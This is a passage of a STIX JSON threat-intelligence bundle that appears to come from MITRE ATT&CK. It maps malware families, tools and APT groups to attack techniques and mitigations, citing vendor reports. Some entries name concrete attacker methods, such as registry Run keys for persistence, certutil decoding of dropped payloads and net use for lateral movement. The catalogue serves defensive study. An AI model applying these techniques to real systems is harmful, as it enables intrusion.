"2017-12-14T16:46:06.044Z", + "id": "relationship--cd1e409b-e981-4c83-a9ea-86705a45f92c", + "source_ref": "malware--2f1a9fd0-3b7c-4d77-a358-78db13adbe78", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "One persistence mechanism used by [CozyCar](https://attack.mitre.org/software/S0046) is to set itself to be executed at system startup by adding a Registry value under one of the following Registry keys:
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\
HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer\\Run", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--327a64df-b405-453b-83d2-528d17e8df51", + "source_ref": "malware--e6ef745b-077f-42e1-a37d-29eecff9c754", + "modified": "2019-04-24T23:17:25.132Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.", + "source_name": "F-Secure CozyDuke", + "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[PinchDuke](https://attack.mitre.org/software/S0048) gathers system configuration information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7b29c94f-1834-42ac-933c-ae6cd125e87a", + "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "source_name": "F-Secure The Dukes", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[PowerSploit](https://attack.mitre.org/software/S0194)'s Get-ProcessTokenGroup Privesc-PowerUp module can enumerate all SIDs associated with its current token.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b70e19d8-9602-4795-9d9b-ef18cdbe5d51", + "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d", + "modified": "2019-04-24T23:43:08.123Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub PowerSploit May 2012", + "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", + "url": "https://github.com/PowerShellMafia/PowerSploit" + }, + { + "source_name": "PowerSploit Documentation", + "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.", + "url": "http://powersploit.readthedocs.io" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--cfe2a359-bbab-4520-bdd7-b2d6abf742cc", + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "modified": "2019-09-18T15:14:13.506Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "XAgentOSX 2017", + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + }, + { + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "source_name": "Symantec APT28 Oct 2018", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--80aab758-d3fc-4380-b114-e552bdace832", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "source_name": "FireEye APT30", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) sent malicious attachments to victims over email, including an Excel spreadsheet containing macros to download Pupy.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--d36e441f-3455-4373-a1e9-be28f3d50c76", + "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", + "modified": "2019-09-09T19:21:42.307Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Counter Threat Unit Research Team. (2017, July 27). The Curious Case of Mia Ash: Fake Persona Lures Middle Eastern Targets. Retrieved February 26, 2018.", + "source_name": "SecureWorks Mia Ash July 2017", + "url": "https://www.secureworks.com/research/the-curious-case-of-mia-ash" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--519630c5-f03f-4882-825c-3af924935817", + "description": "[Moafee](https://attack.mitre.org/groups/G0002) has been known to employ binary padding.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.032Z", + "id": "relationship--83cfa11e-f221-4dc4-b184-943c2c7f4562", + "source_ref": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f", + "modified": "2019-03-25T14:26:03.427Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Haq 2014", + "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) obtains a list of running processes through WMI querying and the ps command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--5e462e1b-62ec-4b44-990d-acd3f7b0010c", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.711Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) has run hostname and systeminfo on a victim.\t", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0c03f2b4-a752-4d74-9c26-5306132a3329", + "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "modified": "2019-09-04T22:55:41.156Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto OilRig May 2016", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/" + }, + { + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/" + }, + { + "source_name": "FireEye APT34 July 2019", + "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) gathers the current domain the victim system belongs to.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--6c130246-6222-4395-8edc-cb325b437696", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "source_name": "Unit 42 QUADAGENT July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dd315296-ffee-4f1b-aef7-2d914c458fd2", + "source_ref": "course-of-action--c61fee9f-16fb-4f8c-bbf0-869093fcd4a6", + "modified": "2019-10-14T20:45:04.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88", + "description": "[Remsec](https://attack.mitre.org/software/S0125) has a plugin that can perform ARP scanning as well as port scanning.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e6b68811-113e-4f86-8096-9f506e34dda1", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b9f5dbe2-4c55-4fc5-af2e-d42c1d182ec4", + "description": "The [ZLib](https://attack.mitre.org/software/S0086) backdoor compresses communications using the standard Zlib compression library.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--32568a57-ff9c-42f5-9b60-0b78d7b0a7c0", + "source_ref": "malware--166c0eca-02fd-424a-92c0-6b5106994d31", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved September 19, 2017.", + "source_name": "Cylance Dust Storm", + "url": "https://www.cylance.com/content/dam/cylance/pdfs/reports/Op_Dust_Storm_Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1ce03c65-5946-4ac9-9d4d-66db87e024bd", + "description": "[APT29](https://attack.mitre.org/groups/G0016) has used the meek domain fronting plugin for Tor to hide the destination of C2 traffic.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--27e7f34e-9750-4cf0-8260-33f2996ee38c", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.245Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Dunwoody, M. and Carr, N.. (2016, September 27). No Easy Breach DerbyCon 2016. Retrieved October 4, 2016.", + "source_name": "Mandiant No Easy Breach", + "url": "http://www.slideshare.net/MatthewDunwoody1/no-easy-breach-derby-con-2016" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--d21a2069-23d5-4043-ad6d-64f6b644cb1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--4267ad8c-6bd8-4fef-ac00-fe536ba746be", + "source_ref": "course-of-action--08e02f67-ea09-4f77-a70b-414963c29fc2", + "modified": "2019-07-24T14:19:23.347Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can use a number of known techniques to bypass Windows UAC.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6c030461-42c5-44db-908a-85ac9a5a9822", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "modified": "2019-06-06T19:04:39.339Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.029Z", + "id": "relationship--9691a6a8-12d0-45a7-8217-11d1793234cb", + "source_ref": "course-of-action--f9b3e5d9-7454-4b7d-bce6-27620e19924e", + "modified": "2019-10-09T20:08:19.770Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.054Z", + "id": "relationship--f2d601c9-8cc7-4425-b76f-fbc9997b55fd", + "source_ref": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "modified": "2019-04-10T15:59:09.334Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Mosquito](https://attack.mitre.org/software/S0256) uses the ipconfig command.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a8efc910-79fc-474a-b3c1-27c8922c1af0", + "source_ref": "malware--92b55426-109f-4d93-899f-1833ce91ff90", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "source_name": "ESET Turla Mosquito Jan 2018", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--80a014ba-3fef-4768-990b-37d8bd10d7f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.045Z", + "id": "relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:45.656Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Kaspersky Turla", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.", + "url": "https://securelist.com/the-epic-turla-operation/65545/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[FruitFly](https://attack.mitre.org/software/S0277) takes screenshots of the user's desktop.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--97a68907-3642-4f23-aeae-55ad5bbd7b86", + "source_ref": "malware--4a98e44a-bd52-461e-af1e-a4457de87a36", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "source_name": "objsee mac malware 2017", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Duqu](https://attack.mitre.org/software/S0038) can track key presses with a keylogger module.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--0b823cda-4775-4690-9ea6-02bbaa3522a1", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.222Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--edb697fa-d6b2-400a-acad-ccacc38c87c0", + "source_ref": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a", + "modified": "2019-10-15T22:00:58.827Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[Pasam](https://attack.mitre.org/software/S0208) creates a backdoor through which remote attackers can retrieve lists of files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ab27d055-77bb-4a3d-89b2-771e532f7384", + "source_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Mullaney, C. & Honda, H. (2012, May 4). Trojan.Pasam. Retrieved February 22, 2018.", + "source_name": "Symantec Pasam May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-050412-4128-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790", + "description": "[Briba](https://attack.mitre.org/software/S0204) installs a service pointing to a malicious DLL dropped to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0b4cd78b-e0af-4123-b2aa-02ad66cca419", + "source_ref": "malware--79499993-a8d6-45eb-b343-bf58dea5bdde", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Briba. Retrieved February 21, 2018.", + "source_name": "Symantec Briba May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-2843-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[Sykipot](https://attack.mitre.org/software/S0018) may gather a list of running processes by running tasklist /v.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4438ba64-0cd2-46e9-8a67-c685bf9b404c", + "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", + "source_name": "AlienVault Sykipot 2011", + "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "When it first starts, [BADNEWS](https://attack.mitre.org/software/S0128) crawls the victim's local drives and collects documents with the following extensions: .doc, .docx, .pdf, .ppt, .pptx, and .txt.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--11a7431f-416f-48de-a3c0-8782abdede63", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used [certutil](https://attack.mitre.org/software/S0160) in a macro to decode base64-encoded content contained in a dropper document attached to an email. The group has also used certutil -decode to decode files on the victim\u2019s machine when dropping [UPPERCUT](https://attack.mitre.org/software/S0275).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--a6ddb76d-4317-4cfd-9e1d-57d8a0c5fb21", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "modified": "2019-09-03T18:50:16.521Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Accenture Hogfish April 2018", + "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.", + "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf" + }, + { + "source_name": "FireEye APT10 Sept 2018", + "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/09/apt10-targeting-japanese-corporations-using-updated-ttps.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "A [Patchwork](https://attack.mitre.org/groups/G0040) payload was packed with UPX.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.077Z", + "id": "relationship--891a97f1-d3e2-45ff-a079-43dcad21a175", + "source_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0", + "modified": "2019-07-11T13:53:05.914Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, July 8). The Dropping Elephant \u2013 aggressive cyber-espionage in the Asian region. Retrieved August 3, 2016.", + "source_name": "Securelist Dropping Elephant", + "url": "https://securelist.com/the-dropping-elephant-actor/75328/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--f6ae7a52-f3b6-4525-9daf-640c083f006e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--bb8fd9d4-4362-40c6-ab09-f05f843c2cef", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "modified": "2019-07-17T13:11:38.973Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787", + "description": "Lateral movement can be done with [Net](https://attack.mitre.org/software/S0039) through net use commands to connect to the on remote systems.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a2423ac3-94b4-4936-962b-06562115cb70", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + 